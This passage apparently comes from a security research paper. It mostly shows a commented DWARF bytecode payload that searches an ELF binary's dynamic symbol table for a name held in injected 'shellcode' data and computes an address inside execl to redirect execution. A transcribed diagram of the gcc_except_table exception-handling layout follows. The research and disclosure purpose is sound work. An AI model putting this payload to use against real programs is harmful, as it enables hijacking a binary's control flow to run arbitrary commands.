DW_OP_mul #multiply the symIdx * sizeof(Elf32_Sym)
DW_OP_pick 6 #we want to get an address in symtab
DW_OP_plus
#Stack is now
#0 symbol address
#1. sym idx
#2. chains address
#3. buckets address
#4. nBuckets
#5. DT_STRTAB value (address of strtab)
#6. DT_SYMTAB value (address of the symbol table)
#7. text base address
#Now get the name of the symbol
DW_OP_dup #keep a copy of the address in case it’s what we want
DW_OP_deref_size 4 #first field in ElfXX_Sym is st_name
DW_OP_pick 6 #get the address of strtab
DW_OP_plus
#Stack is now
#0. symbol name address
#1. symbol address
#2. sym idx
#3. chains address
#4. buckets address
#5. nBuckets
#6. DT_STRTAB value (address of strtab)
#7. DT_SYMTAB value (address of the symbol table)
#8. text base address
#We have stored the address of the name we are trying to match in
#our inserted "shellcode" data
DW_OP_constu 0x400f52 #address of our symbol name
#begin strcmp
DW_OP_over
DW_OP_deref_size 1
DW_OP_over
DW_OP_deref_size 1
#Stack is now
#0. 1st character in stored name
#1. 1st character in this symbol name
#2. stored name address
#3. symbol name address
#4. symbol address
#5. sym idx
#etc
#####begin strcmp loop
STRCMP:
#we want to exit the loop if one character is NULL
DW_OP_over
DW_OP_lit0
DW_OP_eq
#Stack is now
#0. whether 1st charcter in symbol name is NULL
#1. 1st character in stored name
#2. 1st character in this symbol name
DW_OP_over
DW_OP_lit0
DW_OP_eq
#0. whether 1st charcter in stored name is NULL
#1. whether 1st charcter in symbol name is NULL
#2. 1st character in stored name
#3. 1st character in this symbol name
#4. stored name address
#5. symbol name address
#6. symbol address
DW_OP_bra FIRST_NULL
DW_OP_bra CHAIN_NEXT #one is null and the other is not, so next chain
DW_OP_skip NEITHER_NULL
FIRST_NULL:
DW_OP_bra FOUND_SYMBOL
DW_OP_skip CHAIN_NEXT #one is null and the other is not, so next chain
NEITHER_NULL:
#compare them
DW_OP_ne
DW_OP_bra CHAIN_NEXT #characters are not equal
#characters are equal
#stack is now
#0. stored name address
#1. symbol name address
#2. symbol address
#3. sym idx
#etc
DW_OP_lit1
DW_OP_plus
DW_OP_dup
DW_OP_deref_size 1 #get the next character
DW_OP_swap
#stack is
#0. stored address
#1.next character from stored
#2. symbol name address
#etc
DW_OP_rot #top is now 0.next character 1. symbol name address 2. stored address
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DW_OP_swap #top is now 0. symbol name address 1.next character 2. stored address
DW_OP_lit1
DW_OP_plus
DW_OP_dup
DW_OP_deref_size 1 #get the next character
#stack is
# 0. next character from symbol
# 1. symbol name address
# 2. next character from stored
# 3. stored address
#etc
DW_OP_rot
DW_OP_rot
#stack is
# 0. next character from stored
# 1. next character from symbol
# 2. symbol name address
# 3. stored address
#etc
DW_OP_skip STRCMP
CHAIN_NEXT:
#stack is now
#0. stored name address
#1. symbol name address
#2. symbol address
#3. sym idx
#4. chains address
#etc
#we drop the first three entries, we don’t care about them any more as
#we are going to the next symbol in the chain
DW_OP_drop
DW_OP_drop
DW_OP_drop
#stack is now
#0. sym idx
#1. chains address
#etc
DW_OP_lit8 #size of an Elf64_Word
DW_OP_mul
DW_OP_over
DW_OP_plus
DW_OP_dup
#stack is now
#0. new sym idx
#1. new sym idx
#2. chains address
#etc
DW_OP_skip CHAIN
FOUND_SYMBOL:
#stack is now
#0. character
#1. character
#2. stored name address
#3. symbol name address
#4. symbol address
#5. sym idx
#6. chains address
#7. buckets address
#8. nBuckets
#9. DT_STRTAB value (address of strtab)
#10. DT_SYMTAB value (address of the symbol table)
#11. text base address
#etc
DW_OP_drop
DW_OP_drop
DW_OP_drop
DW_OP_drop
#now we get st_value from the symbol. This is at an offset of 8 bytes
#in a dynamic symbol
DW_OP_lit8
DW_OP_plus
DW_OP_deref
#now we need to relocate this against the text base
#1. execl address
#2. sym idx
#3. chains address
#4. buckets address
#5. nBuckets
#6. DT_STRTAB value (address of strtab)
#7. DT_SYMTAB value (address of the symbol table)
#8. text base address
DW_OP_rot
DW_OP_drop
DW_OP_drop
#1. execl address
#4. buckets address
#5. nBuckets
#6. DT_STRTAB value (address of strtab)
#7. DT_SYMTAB value (address of the symbol table)
#8. text base address
DW_OP_rot
DW_OP_drop
DW_OP_drop
#0. execl address
#1. DT_STRTAB value (address of strtab)
#2. DT_SYMTAB value (address of the symbol table)
#3. text base address
DW_OP_rot
DW_OP_drop
DW_OP_drop
#0. execl address
#1. text base address
DW_OP_plus
#now we should have the address of execl on the top of the stack
#DW_OP_constu 0x133 #we want to start 0x133 bytes into the function
DW_OP_constu 0x3d
DW_OP_plus
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C .gcc except table Layout

Header

Call Site Table

Action Table

Type Table

LPStart encoding

LPStart

TType format

TTBase

Call Site format

Call Site table size

Call Site Record 0

Call Site Record 1

...

Call Site Record n

action 0

action 1

...

action n

typeid 0

typeid 1

...

typeid n

call site position

call site length

landing pad position

first action

type filter

offset to next action

LSDA 0

LSDA 1

...

LSDA n

a collection of 
language-specific 
data areas (LSDAs)

LSDA
gcc_except_table

Arrows indicate
expansion for a closer
look
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